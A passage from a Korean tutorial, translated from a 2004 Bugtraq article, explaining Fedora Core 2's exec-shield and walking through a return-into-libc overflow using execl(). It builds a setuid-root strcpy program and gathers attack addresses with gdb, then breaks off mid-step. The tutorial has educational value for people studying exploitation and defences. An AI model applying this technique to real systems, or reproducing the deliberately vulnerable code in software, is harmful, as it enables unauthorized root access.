How to Exploit Overflow Vulnerability Under Fedora Core

By vangelis(vangelis@wowhacker.org)

Email: progressfree@hotmail.com

Wowhacker Team

http://www.wowhacker.org

Abstract

이 글은 버그트랙과 Neworder에 발표된 ***How to Exploit Overflow Vulnerability Under Fedora Core***(http://www.securityfocus.com/archive/1/387192 및 http://neworder.box.sk/newsread.php?newsid=13007)의 한글본입니다.

Fedora[1]는 REDHAT이 후원하고 커뮤니티가 지원하는 오픈 소스 프로젝트이다. Fedora 프로젝트의 홈페이지를 보면 다음과 같이 설명되어 있다.

> The Fedora Project is a Red-Hat-sponsored and community-supported open source project. It is also a proving ground for new technology that may eventually make its way into Red Hat products. It is not a supported product of Red Hat, Inc.
>
> The goal of The Fedora Project is to work with the Linux community to build a complete, general purpose operating system exclusively from free software. Development will be done in a public forum. The project will produce time-based releases of Fedora Core about 2-3 times a year with a public release schedule. The Red Hat engineering team will continue to participate in the building of Fedora Core and will invite and encourage more outside participation than was possible in Red Hat Linux. By using this more open process, we hope to provide an operating system that uses free software development practices and is more appealing to the open source community.

이 글을 쓰고 있는 현재(2004,4,28) Fedora Core3 Test 3까지 발표되어 있으며, 흥미로운 것은 Fedora 프로젝트가 궁극적으로는 Red Hat사가 발표하는 제품들에 적용될 수 있는 새로운 기술에 대한 배경을 제공하고 있다는 점이다. Fedora가 기존의 Red Hat LINUX와 차이를 보이는 것은 exec-shield[2]의 적용이다. 기존의 Red Hat 리눅스의 경우 Red Hat 8.0 버전까지는 Aleph One이 제시했던 고전적인 오버플로우 기법을 적용할 수 있었다. Red Hat 9.0 버전의 경우 Random Stack이 적용되었다. 그리고 버전과 상관 없이 보안 패치의 한 방법으로 non-executable stack 패치[3]를 통해 오버플로우 취약점을 공격하는 것을 어렵게 만들기도 하였다. 그러나 non-executable stack의 경우 return-into-libc 기법을 통해 충분히 극복할 수 있게 되었다.

Fedora에 적용된 exec-shield는 커널 기반의 보안 장치이다. exec-shield에 대한 간단한 개요는 ***ANNOUNCE-exec-shield***[4]라는 글에 잘 나타나 있다. 먼저 ANNOUNCE-exec-shield라는 글을 살펴보도록 하자. 다음은 먼저 ANNOUNCE-exec-shield의 전문을 옮긴 것이다.

---

1 http://fedora.redhat.com
2 http://people.redhat.com/mingo/exec-shield 참고바람
3 이것은 Solar Designer가 개발한 것으로, http://www.openwall.com/linux를 참고하길 바란다.
4 http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield

-- 전문(22-Sep-2003 10:10) 시작 -- (번역: vangelis@wowhacker.org)

[참고: 이것은 exec-shield에 대해 우리가 한 것에 대한 첫번째 발표이다. 코드는 그때 이후로 아주 많이 변경되거나 개선되었으며, 아래의 실제 매커니즘들 중에서 몇 가지는 그 동안 다르게 작동했다. 이제 스택의 실행가능성 요구사항(stack executability requirement)들을 추적하는 자동적인 gcc와 binutil들의 기능이 포함되었으며(그래서 chstk은 구식이다), /proc/sys/kernel 변수를 exec-shield하는 것은 다른 레벨을 가지고 있다.(보통 그것을 변경할 필요가 없어야 한다.) 자세한 것은 rhl-beta-list 메일링 리스트 (http://www.redhat.com/mailman/listinfo/rhl-beta-list)의 자료들을 참고해라.

[Announcement] "Exec Shield", 새로운 리눅스 보안 기능

우리는 Linux/x86을 위한 "Exec Shield"라고 불리는 새로운 커널 기반의 보안 기능에 대한 최초의 이용 가능한 소스 코드를 공개적으로 발표하는 것을 선언하게 되어 기쁘다. 이 커널 패치(GPL/OSL 정책 하에 발표된 2.4.21-rc와 반대됨)는 다음 사이트에서 다운 받을 수 있다:

http://redhat.com/~mingo/exec-shield/

exec-shield 기능은 stack, buffer 또는 함수 포인터 오버플로우, 그리고 데이터 구조를 덮어쓰는 것에 의존하거나 또는 그 구조에 코드를 집어넣는 것에 의존하는 다른 형태의 exploit에 대한 방어를 제공한다. 이 패치는 또한 소위 말하는 ‘shellcode’를 집어넣어 실행하는 것을 더 어렵게 만든다. 이 패치는 명쾌하게 작동하며, 어플리케이션의 재컴파일이 필요가 없다.

배경:

x86 pagetable들이 pagetable 엔트리에서 소위 executable bit라는 것(PROT_EXEC와 PROT_READ가 단일 ‘읽기 또는 실행하기’ 플래그 안으로 통합되는 것)을 지원하지 않는 것으로 일반적으로 알려져 있다. 이것은 비록 어떤 어플리케이션이 x86 하에서는 어떤 메모리 영역이 non-executable이라는 표시하지 않는다(맵핑시 PROT_EXEC 플래그를 제공하지 않음으로써) 할지라도 그 영역이 PROT_READ라면 그 영역은 여전히 실행 가능하다는 것을 의미한다.

더 나아가, x86 ELF ABI는 프로세스 스택을 실행 가능한 것으로 표시하며, 그것은 pagetable에 있는 executable bit를 지원하지 않는 CPU 상에서도 스택이 실행 가능한 것으로 표시되는 것을 요구한다.

이 문제는 Solar Designer의 뛰어난 "non-exec stack patch"와 같은 다양한 커널 패치들에서 해결되어 왔다. 이 패치들은 대부분 x86 세그멘테이션 기능을 사용함으로써 스택 프레임(stack frame) 바로 아래를 가리키는 어떤 고정된 값에 대한 값을 코드 세그먼트(code segment) 'limit' 값을 설정함으로써 작동한다. exec-shield는 단지 스택만이 아니라 code segment limit를 통해 가능한 많은 가상 메모리를 관리하려고 노력한다.

구현:

exec-shield 기능은 어플리케이션이 지정한 executable mapping을 커널이 tracking하는 것을 통해 작동하며, 'maximum executable address' 값을 유지한다. 이것은 'exec-limit'라고 부른다. 스케쥴러는 각각 context-switch에 대해 code segment descriptor를 업데이트하기 위해 exec-limit를 사용한다. 시스템의 각 프로세스(또는 thread)가 다른 exec-limit를 가지고 있기 때문에 스케쥴러는 user code segment를 동적으로 설정하며, 그래서 항상 정확한 code-segment limit가 사용된다.

커널은 user segment descriptor 값을 캐쉬하고, 그래서 context-switch path의 overhead는 기껏해야 2-3 싸이클의 비용을 들게 하면서 GDT에 값싸고, 무제한의 6 바이트 쓰기를 한다.

더나아가, 커널은 또한 소위 ASCII-armor 영역에 모든 PROT_EXEC 맵핑을 다시 매핑하며, 그것은 x86의 경우 주소는 0-16MB이다. 이 주소들은 특별한데, 왜냐하면 그 주소들은 ASCII기반의 오버플로우를 통해서는 jump될 수 없기 때문이다. 예를 들어, 만약 어떤 취약한 어플리케이션이 다음과 같이 긴 URL을 통해 오버플로우될 수 있다면:

http://somehost/buggy.app?reallyloooooooooooooooooong.123489719875

그때는 단지 ASCII(즉, 1-255 값) 문자들은 공격자들에 의해 사용될 수 있다. 만약 모든 실행 가능한 주소들이 ASCII-armor 영역에 있다면 그때는 어떤 공격용 URL도 실행 가능한 코드로 jump하는데 사용될 수 없을 것이다.

즉, 공격은 성공할 수 없다.(왜냐하면 어떤 URL 문자열도 \0 문자를 포함할 수 없기 때문이다.) 예를 들어, 최근 sendmail 원격 공격은 역시 ASCII 기반의 오버플로우였다.

exec-shield가 활성화되어 있고, 'cat' 바이너리는 ASCII-armor 안으로 다시 링크된다면 다음 레이아웃이 만들어질 것이다.

```
$ ./cat-lowaddr /proc/self/maps
00101000-00116000 r-xp 00000000 03:01 319365     /lib/ld-2.3.2.so
00116000-00117000 rw-p 00014000 03:01 319365     /lib/ld-2.3.2.so
00117000-0024a000 r-xp 00000000 03:01 319439     /lib/libc-2.3.2.so
0024a000-0024e000 rw-p 00132000 03:01 319439     /lib/libc-2.3.2.so
0024e000-00250000 rw-p 00000000 00:00 0
01000000-01004000 r-xp 00000000 16:01 2036120    /home/mingo/cat-lowaddr
01004000-01005000 rw-p 00003000 16:01 2036120    /home/mingo/cat-lowaddr
01005000-01006000 rw-p 00000000 00:00 0
40000000-40001000 rw-p 00000000 00:00 0
40001000-40201000 r--p 00000000 03:01 464809     locale-archive
40201000-40207000 r--p 00915000 03:01 464809     locale-archive
40207000-40234000 r--p 0091f000 03:01 464809     locale-archive
40234000-40235000 r--p 00955000 03:01 464809     locale-archive
bfffe000-c0000000 rw-p fffff000 00:00 0
```

위의 레이아웃에서 가장 높은 실행 주소는 0x01003fff이며, 즉 모든 실행 주소는 ASCII-armor에 있다.

이것은 스택이 non-executable일 뿐만 아니라 많은 mmap()된 data 영역과 malloc() heap 역시 non-executable이라는 것을 의미한다.(몇몇 data 영역은 여전히 실행가능하며, 하지만 그것들 대부분은 실행가능하지는 않다.)

ASCII-armor의 첫 1MB는 NULL pointer를 참조하지 않도록 하여 보호(NULL pointer dereference protection)하기 위해 사용되지 않고 남아 있으며, Xfree86 및 다른 것들에 의해 사용되는 16 bit emulation mapping을 위해 공간을 남겨둔다.

이것은 exec-shield가 없는 메모리 레이아웃과 비교해보자:

```
08048000-0804b000 r-xp 00000000 16:01 3367       /bin/cat
0804b000-0804c000 rw-p 00003000 16:01 3367       /bin/cat
0804c000-0804e000 rwxp 00000000 00:00 0
40000000-40012000 r-xp 00000000 16:01 3759       /lib/ld-2.2.5.so
40012000-40013000 rw-p 00011000 16:01 3759       /lib/ld-2.2.5.so
40013000-40014000 rw-p 00000000 00:00 0
40018000-40129000 r-xp 00000000 16:01 4058       /lib/libc-2.2.5.so
40129000-4012f000 rw-p 00111000 16:01 4058       /lib/libc-2.2.5.so
4012f000-40133000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
```

이 레이아웃에서 실행 가능한 영역들 중에서 어떤 것도 ASCII-armor에 있지 않으며, 여기에 추가해 exec-limit가 0xbfffffff(3GB)이며 – 즉, 모든 userspace mapping을 포함하고 있다.

커널이 모든 공유 라이브러리를 ASCII-armor에 재배치시킨다. 하지만 바이너리 주소는 링크 때 결정된다. ASCII-armor에 어플리케이션들을 다시 링크시키는 것을 쉽게 하기 위해 Arjan Van de Ven이라는 사람이 binutils patch(binutils-2.13.90.0.18-elf-small.patch)를 썼었으며, 그것은 ASCII-armor에 어플리케이션을 다시 링크시키기 위해 새로운 'ld' flag "ld -melf_i386_small" (또는 "gcc -Wl,-melf_i386_small")을 추가했다. (이 패치는 exec-shield URL에서 역시 구할 수 있다.)

Overhead:

이 패치는 가능한 효율적인 것으로 디자인되었다. 모든 PROT_MMAP에 대해 아주 최소한의 트래킹 오버헤더가 있으며, 여기에 덧붙여 context-switch당 2-3 싸이클의 비용이 든다.

한계:

이 기능은 모든 형태의 공격에 대해 방어를 하지 않을 것이다.

예를 들어, 만약 오버플로우가 시스템을 장악하는 방식으로 통제 흐름을 변경하는 지역 변수를 덮어쓰는데 사용될 수 있다면. 하지만 우리는 이 기능이 스택상의 리턴 어드레스를 오버플로우시키거나 heap 영역의 함수 포인터를 오버플로우시키는 것에 의해 순수 작동하는 모든 공격을 멈추게 할 것이라는 것을 믿는다. 더 나아가 exec-shield는 심지어 다른 경우에 있어서도 성공적인 공격을 마운트하는 것을 아주 어렵게 만든다. 왜냐하면 그것은 대부분의 경우들에 있어 exploit shell-code를 실행하는 것을 제지하기 때문이다.

또한, 만약 그 오버플로우가 exec-shield 그 자체 내에 있다면(예를 들어, ASCII-armor에 있는 공유 라이브러리 오브젝트들 중의 하나의 data 섹션 내에) 그 때는 오버플로우 공격이 가능할 수 있다.

또한, 만약 오버플로우 문자열이 짧고 end-of-string이 \0 바이트가 사용된다면 심지어 ASCII 공격들을 통해 첫 16MB로 jump하는 것이 가능하다. 이 경우에 호출된 함수로 아규먼트들을 전달하는 것은 가능하지 않아 공격을 성공하기에 아주 어렵게 한다.(하지만 단순히 호출되기만 한다면 root shell을 주고, 그래서 공격에 사용될 수 있는 어떤 함수가 바이너리에 있다면 불가능한 것은 아니다.)

모든 것을 종합해보면 exec-shield는 100% 방어를 할 수 있는 ‘blanket’이 아니라 공격에 대항한 하나의 ‘barrier’라고 할 수 있다. 가장 효율적인 보안은 가능한 많은 layer들을 설치함으로써 제공될 수 있다.

가능한 좋은 방어를 제공하기 위해 exec-shield 코드에는 trampoline 해결책이 없다. 즉, trampoline 경우에 exec-limit 위반이 결코 끝이 나도록 하지 않는다. gcc trampoline에 의존할 필요가 있는 어플리케이션들은 스택을 다시 실행 가능한 것으로 만들기 위해 per-binary ELF flag를 사용해야만 할 것이다.(이 ELF flag는 가능한 기존의 non-exec-stack 설치와의 많은 호환성을 위해 Solar Designer의 non-exec stack patch에 의해 사용되는 것과 같다.)

exec-shield 기능은 PROT_READ가 x86에서 실행을 허용하는 것을 정확하지 않게 추정하는 어플리케이션을 드러낼 것이다. 그와 같은 한 예가 Xfree86 module loader이다. 가장 최근의 XFree86 on rawhide.redhat.com은 이

문제를 고쳤다. 지금 현재 XFree86 bugfix를 설치할 수 없는 사람들을 위해 다음과 같은 명령으로 활성화될 수 있는 패치를 적용하면 해결책은 될 것이다.

```
echo 1 > /proc/sys/kernel/X-workaround
```

이것은 (X와 같은) 어플리케이션을 사용하는 모든 iopl()로 하여금 exec-shield를 disabled시킬 것이다. 다른 어플리케이션(sendmail 등)들은 여전히 exec-shield를 enabled시킬 것이다. 이 해결책은 default-off이다. 우리는 X를 업그레이드하거나 X의 stack forced-executable하도록 만들기 위해 'chkstk' 유틸리티를 사용함으로써 이 문제를 해결하기를 강력하게 권장한다.

exec-shield 사용하기:

---

exec-shield-2.4.21-rc1-B6 kernel patch를 2.4.21-rc1 kernel에 적용하고, 커널을 다시 컴파일하고 설치하며, 다시 부팅하면 끝이다.

4 개의 값을 가지고 있는 exec-shield=라고 불리는 새로운 boot-time kernel command line 옵션이 있다. 각 값은 보안의 다른 수준을 나타낸다:

```
exec-shield=0    - always-disabled
exec-shield=1    - default disabled, except binaries that enable it
exec-shield=2    - default enabled, except binaries that disable it
exec-shield=3    - always-enabled
```

현재 patch default는 'exec-shield=2'이다. 보안 수준은 /proc에 레벨을 씀으로써 실행 때 역시 변경될 수 있다:

```
echo 0 > /proc/sys/kernel/exec-shield
```

중요: exec-shield가 비활성화된 동안 시작된 보안 관련 어플리케이션들은 실행 가능한 스택을 가질 것이며, 그래서 만약 exec-shield가 활성화되려면 다시 시작되어야 한다.

나는 Solar Designer의 chstk.c 코드의 수정 버전을 업로드했다. 그것은 'enable non-exec stack' ELF flag를 변경하는데 필요한 옵션들을 추가한 것이다:

```
$ ./chstk
Usage: ./chstk OPTION FILE...
Manage stack area executability flag for binaries

  -e    enable execution permission
  -E    enable non-execution permission
  -d    disable execution permission
  -D    disable non-execution permission
  -v    view current flag state
```

두 가지 뚜렷하게 구별되는 플래그가 있는데, 하나는 실행 가능한 스택으로 강제로 만드는 것이며, 다른 하나는 비실행 스택으로 만드는 것이다. 만약 이 두 가지의 플래그들이 0이면 그때는 바이너리가 system default를 따른다.

Exec-shield의 레벨을 1로 두고 사용하는 것이 가능하며, 'exec-shield=1' boot option을 사용하고, 한번에 하나씩 바이너리를 변경함으로써 binary 하나씩을 non-exec stack으로 만들 수 있다:

```
./chstk -E /usr/sbin/sendmail
```

(제품의 환경을 exec-shield 커널로 이동하고자 하는 사람은 이 변형 방식을 더 좋아할지도 모른다.)

anyway, comments, suggestions and test feedback is welcome.

Ingo

-- 전문 끝 --

ANNOUNCE-exec-shield라는 위의 글을 토대로 exec-shield 기능에 대해 정리해보면 다음과 같다.

1. exec-shield 기능은 stack, buffer 또는 함수 포인터 오버플로우, 그리고 데이터 구조를 덮어쓰는 것에 의존하거나 또는 그 구조에 코드를 집어넣는 것에 의존하는 다른 형태의 exploit에 대한 방어를 제공한다. 그래서 ‘shellcode’를 사용하여 공격하는 것이 힘들다. 이는 스택은 non-executable일 뿐만 아니라 많은 mmap()된 data 영역과 malloc() heap 역시 non-executable이기 때문이다.

2. exec-shield는 스택뿐만 아니라 **code segment limit**를 통해 가능한 많은 가상 메모리 영역을 통제한다.

3. exec-shield는 **'exec-limit'** 기능을 통해 어플리케이션이 지정한 executable mapping을 커널이 추적하여 'maximum executable address' 값을 관리한다.

4. 커널은 소위 **ASCII-armor** 영역에 모든 PROT_EXEC 맵핑을 다시 매핑하며, x86의 경우 주소는 0-16MB 체계를 따른다. 대부분의 기존 오버플로우 공격은 4바이트 주소 값을 입력하는데, exec-shield의 경우 16MB 체계를 따르기 때문에 주소의 첫 바이트에 null(0x00)이 들어가 있고, 이것을 ‘**NULL pointer dereference protection**’이라고 한다. 이것은 또한 기존의 return-into-libc 기법을 적용할 수 없다는 의미가 된다. Return-into-libc 기법이 나오게 된 배경은 stack이 non-executable이기 때문에 library 영역을 사용하고자 하는 것이었는데, 4바이트 주소 값을 사용할 수 없다. 커널은 모든 공유 라이브러리를 ASCII-armor에 재배치 시킨다. 하지만 바이너리 주소는 링크 때 결정된다. 다음은 필자의 테스트 환경(Fedora Core2)에서 나온 라이브러리 함수들의 주소이다. 이 함수들은 return-into-libc 기법에서 자주 사용되는 것들이다.

```
(gdb) x/i setuid
0x005fefc0 <setuid>:      push   %ebp
(gdb) x/i system
0x005ab5e0 <system>:      push   %ebp
```

다음은 라이브러리 영역의 맵핑 내용이며, 모두가 **ASCII-armor** 영역에 있는 것을 볼 수 있다.

```
[vangelis@testbed fedora]$ cat /proc/25297/maps
0055b000-00570000 r-xp 00000000 03:05 84857      /lib/ld-2.3.3.so
00570000-00571000 r--p 00014000 03:05 84857      /lib/ld-2.3.3.so
00571000-00572000 rw-p 00015000 03:05 84857      /lib/ld-2.3.3.so
00578000-0068d000 r-xp 00000000 03:05 84858      /lib/tls/libc-2.3.3.so
0068d000-0068f000 r--p 00115000 03:05 84858      /lib/tls/libc-2.3.3.so
0068f000-00691000 rw-p 00117000 03:05 84858      /lib/tls/libc-2.3.3.so
00691000-00693000 rw-p 00000000 00:00 0
006ba000-006bc000 r-xp 00000000 03:05 84860      /lib/libdl-2.3.3.so
006bc000-006bd000 r--p 00001000 03:05 84860      /lib/libdl-2.3.3.so
006bd000-006be000 rw-p 00002000 03:05 84860      /lib/libdl-2.3.3.so
008d6000-008d9000 r-xp 00000000 03:05 84874      /lib/libtermcap.so.2.0.8
008d9000-008da000 rw-p 00002000 03:05 84874      /lib/libtermcap.so.2.0.8
00bf4000-00bfe000 r-xp 00000000 03:05 80211      /lib/libnss_files-2.3.3.so
00bfe000-00bff000 r--p 00009000 03:05 80211      /lib/libnss_files-2.3.3.so
00bff000-00c00000 rw-p 0000a000 03:05 80211      /lib/libnss_files-2.3.3.so
00f4f000-00f50000 r-xp 00000000 00:00 0
08047000-080d2000 r-xp 00000000 03:05 70763      /bin/bash
080d2000-080d8000 rw-p 0008b000 03:05 70763      /bin/bash
080d8000-080dc000 rw-p 00000000 00:00 0
09a65000-09a86000 rw-p 00000000 00:00 0
f6d11000-f6d12000 rw-p 00000000 00:00 0
f6d12000-f6d18000 r--s 00000000 03:02 711249     /usr/lib/gconv/gconv-modules.cache
f6d18000-f6e3f000 r--p 0187d000 03:02 697386     /usr/lib/locale/locale-archive
f6e3f000-f703f000 r--p 00000000 03:02 697386     /usr/lib/locale/locale-archive
f703f000-f7080000 rw-p 00000000 00:00 0
f70a3000-f70a5000 rw-p fffff000 00:00 0
feea4000-ff000000 rw-p fff65000 00:00 0
ffffd000-ffffe000 ---p 00000000 00:00 0
[vangelis@testbed fedora]$
```

5. 오버플로우가 exec-shield 그 자체 내에 있다면 (예를 들어, ASCII-armor에 있는 공유 라이브러리 오브젝트들 중의 하나의 data 섹션 내에) 그 때는 오버플로우 공격이 가능할 수 있다.

6. exec-shield 패치를 통해 오버플로우 공격을 완벽하게 방어할 수는 없다.

정리한 것을 보면 우리가 Fedora 시스템에 대해 오버플로우 공격을 할 때 많은 장애요소가 있다는 것은 확실해졌으

며, 그렇다고 불가능한 것은 아니라는 것도 역시 확실해졌다. 이제 기존의 리눅스 시스템과 Fedora Core2 시스템 사이의 차이점에 대해 대체적인 이해가 가능해졌으며, beist군이 Red Hat 9와 Fedora core2 사이의 차이점에 대해 잘 정리를 한 부분이 있어 그 부분을 그대로 인용한다.

- 프로세스 메모리 매핑 구성 표 -

	REDHAT LINUX 9.0	**FEDORA CORE2**
STACK	최상위 byte가 0xbf이며, 정확한 위치는 환경에 따라 가변적임	최상위 byte가 0xfe이며, 정확한 위치는 환경에 따라 가변적임
LIBRARY	/lib/ld-2.3.2.so 0x40000000 - 0x40016fff /lib/tls/libc-2.3.2.so 0x42000000 - 0x42132fff	/lib/ld-2.3.3.so 0x00415000 - 0x0042bfff /lib/tls/libc-2.3.3.so 0x00432000 - 0x0054afff 혹은 libc-2.3.3.so 의 위치가 다음으로 바뀔 수도 있다. /lib/tls/libc-2.3.3.so 0x00111000 - 0x00229fff
Program Text Segment	0x8048000 - 0x8048fff	0x8048000 - 0x8048fff
Program Data Segment	0x8049000 - 0x8049fff	0x8049000 - 0x8049fff

- 주요 특징 표 -

	REDHAT LINUX 9.0	**FEDORA CORE2**
RANDOM STACK	O	O
NONE EXEC STACK	X	O
RANDOM LIBRARY	X	O
LIBRARY ADDRESS 위치	16mb 이상	16mb 미만

이제 Fedora core2 시스템에서 오버플로우 방법에 대해 알아보도록 하자. 이 방법은 승진 군이 제시한 방법이다. 승진 군이 제시한 것은 execl() 함수를 이용한 공격이다. 이 때 execl() 함수의 아규먼트들은 data segment 영역에 있는 값들이다. 이에 대해서는 아래서 제시될 공격 과정에서 자세히 설명하도록 하겠다.

먼저 전체적인 공격 순서를 정리하고, 각 과정이 왜 필요한지에 대해서는 실전 공격과정과 그 과정에 대한 설명을 통해 덧붙이도록 하겠다. 공격 순서는 다음과 같다.

1. 취약한 프로그램을 gdb를 통해 역어셈블링하고, main에 breakpoint를 걸고, <execl+3>의 주소를 찾음, 이 주소는 return address로 사용된다.
2. 취약한 프로그램의 메모리 영역을 확인하고, data segment 영역을 examine하여, execl 함수의 아규먼트로 사용하기 위해 필요한 메모리 주소를 찾는다.
3. 심볼릭 링크로 사용한 execl() 함수의 첫번째 아규먼트가 될 주소의 내용을 살펴본다.
4. 현재 프로세스의 권한을 다시 설정하면서 동시에 쉘을 실행할 공격코드를 작성한다.
5. 공격 프로그램에 execl의 첫 아규먼트의 주소값의 내용으로 심볼릭 링크를 건다.
6. 최종 공격용 payload는 다음과 같다.

| **buffer를 overflow시킬 data** | **execl의 첫 아규먼트의 위치 – 8** | **<execl + 3>의 주소** |

이제 Fedora Core2 시스템에서 오버플로우 공격에 대해 본격적으로 알아보자. 먼저 취약한 프로그램을 만들자.

```
[vangelis@testbed fedora]$ cat > vul.c
int main(int argc, char *argv[])
{
        char buffer[256];
        strcpy(buffer,argv[1]);
        return 0;
}

[vangelis@testbed fedora]$ gcc -o vul vul.c
```

너무나 익숙해 있는 취약 프로그램이다. 좀더 완벽한 테스트를 위해 소유권 및 권한을 조정하도록 하겠다.

```
[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x  1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$
```

이제 공격의 첫번 째 단계인 <execl+3>의 주소를 알아보자. 이것은 취약한 프로그램을 gdb를 이용해 확인해보면 된다.

```
[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db
library "/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
   깃났.
Error while reading shared library symbols:
: 洹몃?漿侑 應좏졸━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: 洹몃?漿侑 應좏졸━媛 壹.
Error while reading shared library symbols:
: 洹몃?漿侑 應좏졸━媛 壹.

Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
```

```
Dump of assembler code for function execl:
0x005fea00 <execl+0>:    push   %ebp
0x005fea01 <execl+1>:    mov    %esp,%ebp
0x005fea03 <execl+3>:    lea    0x10(%ebp),%eax
0x005fea06 <execl+6>:    push   %edi
0x005fea07 <execl+7>:    push   %esi
0x005fea08 <execl+8>:    push   %ebx
0x005fea09 <execl+9>:    sub    $0x1030,%esp
0x005fea0f <execl+15>:   mov    0xc(%ebp),%ecx
0x005fea12 <execl+18>:   movl   $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>:   lea    0x1b(%esp),%esi
0x005fea1d <execl+29>:   and    $0xfffffff0,%esi
0x005fea20 <execl+32>:   call   0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>:   add    $0x905d7,%ebx
0x005fea2b <execl+43>:   mov    %ecx,(%esi)
0x005fea2d <execl+45>:   test   %ecx,%ecx
0x005fea2f <execl+47>:   mov    %eax,0xffffffe8(%ebp)
0x005fea32 <execl+50>:   movl   $0x1,0xffffffec(%ebp)
0x005fea39 <execl+57>:   je     0x5fea73 <execl+115>
0x005fea3b <execl+59>:   movl   $0x1a,0xfffffff0(%ebp)
0x005fea42 <execl+66>:   lea    0x0(%esi),%esi
0x005fea49 <execl+73>:   lea    0x0(%edi),%edi
0x005fea50 <execl+80>:   mov    0xfffffff0(%ebp),%edx
---Type <return> to continue, or q <return> to quit---
0x005fea53 <execl+83>:   cmp    %edx,0xffffffec(%ebp)
0x005fea56 <execl+86>:   je     0x5fea96 <execl+150>
0x005fea58 <execl+88>:   addl   $0x8,0xfffffff0(%ebp)
0x005fea5c <execl+92>:   mov    0xffffffe8(%ebp),%edx
0x005fea5f <execl+95>:   mov    0xffffffec(%ebp),%edi
0x005fea62 <execl+98>:   addl   $0x4,0xffffffe8(%ebp)
0x005fea66 <execl+102>:  mov    (%edx),%ecx
0x005fea68 <execl+104>:  mov    %ecx,(%esi,%edi,4)
0x005fea6b <execl+107>:  inc    %edi
0x005fea6c <execl+108>:  test   %ecx,%ecx
0x005fea6e <execl+110>:  mov    %edi,0xffffffec(%ebp)
0x005fea71 <execl+113>:  jne    0x5fea50 <execl+80>
0x005fea73 <execl+115>:  mov    0xffffffe0(%ebx),%edi
0x005fea79 <execl+121>:  mov    (%edi),%ecx
0x005fea7b <execl+123>:  mov    %esi,0x4(%esp)
0x005fea7f <execl+127>:  mov    0x8(%ebp),%esi
```

```
0x005fea82 <execl+130>: mov    %ecx,0x8(%esp)
0x005fea86 <execl+134>: mov    %esi,(%esp)
0x005fea89 <execl+137>: call   0x5fe7a0 <execve>
0x005fea8e <execl+142>: lea    0xfffffff4(%ebp),%esp
0x005fea91 <execl+145>: pop    %ebx
0x005fea92 <execl+146>: pop    %esi
0x005fea93 <execl+147>: pop    %edi
---Type <return> to continue, or q <return> to quit---
0x005fea94 <execl+148>: pop    %ebp
0x005fea95 <execl+149>: ret
0x005fea96 <execl+150>: mov    0xffffffec(%ebp),%edx
0x005fea99 <execl+153>: mov    0xffffffe0(%ebp),%ecx
0x005fea9c <execl+156>: add    %edx,%edx
0x005fea9e <execl+158>: mov    %edx,0xffffffe4(%ebp)
0x005feaa1 <execl+161>: and    $0xfffffffc,%ecx
0x005feaa4 <execl+164>: sub    %ecx,%esp
0x005feaa6 <execl+166>: mov    %edx,0xfffffff0(%ebp)
0x005feaa9 <execl+169>: mov    0xffffffe4(%ebp),%eax
0x005feaac <execl+172>: lea    0x1b(%esp),%edx
0x005feab0 <execl+176>: and    $0xfffffff0,%edx
0x005feab3 <execl+179>: lea    (%eax,%edx,1),%edi
0x005feab6 <execl+182>: cmp    %esi,%edi
0x005feab8 <execl+184>: je     0x5feacc <execl+204>
0x005feaba <execl+186>: cld
0x005feabb <execl+187>: mov    0xffffffec(%ebp),%ecx
0x005feabe <execl+190>: mov    %edx,%edi
0x005feac0 <execl+192>: shl    $0x2,%ecx
0x005feac3 <execl+195>: shr    $0x2,%ecx
0x005feac6 <execl+198>: repz movsl %ds:(%esi),%es:(%edi)
0x005feac8 <execl+200>: mov    %edx,%esi
0x005feaca <execl+202>: jmp    0x5fea58 <execl+88>
---Type <return> to continue, or q <return> to quit---
0x005feacc <execl+204>: cld
0x005feacd <execl+205>: mov    0xffffffec(%ebp),%ecx
0x005fead0 <execl+208>: mov    %edx,%edi
0x005fead2 <execl+210>: shl    $0x2,%ecx
0x005fead5 <execl+213>: shr    $0x2,%ecx
0x005fead8 <execl+216>: repz movsl %ds:(%esi),%es:(%edi)
0x005feada <execl+218>: mov    %edx,%esi
0x005feadc <execl+220>: mov    0xffffffe4(%ebp),%edi
```

```
0x005feadf <execl+223>: mov    0xffffffec(%ebp),%eax
0x005feae2 <execl+226>: add    %eax,%edi
0x005feae4 <execl+228>: mov    %edi,0xfffffff0(%ebp)
0x005feae7 <execl+231>: jmp    0x5fea58 <execl+88>
0x005feaec <execl+236>: nop
0x005feaed <execl+237>: nop
0x005feaee <execl+238>: nop
0x005feaef <execl+239>: nop
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$
```

여기서 다음 <execl+0>와 <execl+1> 과정을 이용하지 않는 이유는 “ push %ebp ”와 “ mov %esp,%ebp ”의 명령을 실행할 경우 %ebp의 값이 손상될 수 있기 때문이다. gdb를 통해 우리가 return address로 사용할 주소는 0x005fea03임을 확인했다.

이제 두 번째 단계인 취약한 프로그램의 메모리 영역을 확인하고, data segment 영역을 examine하여, execl() 함수의 아규먼트로 사용하기 위해 필요한 메모리 내용을 찾아볼 것이다. 이를 위해 우선 프로세스의 매핑 상태를 알아볼 필요가 있는데, 앞에서 표를 통해 제시했듯이 Fedora Core2 시스템에서는 0x8049000에서 data segment가 시작한다. 이 부분을 자세히 알아보자.

```
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
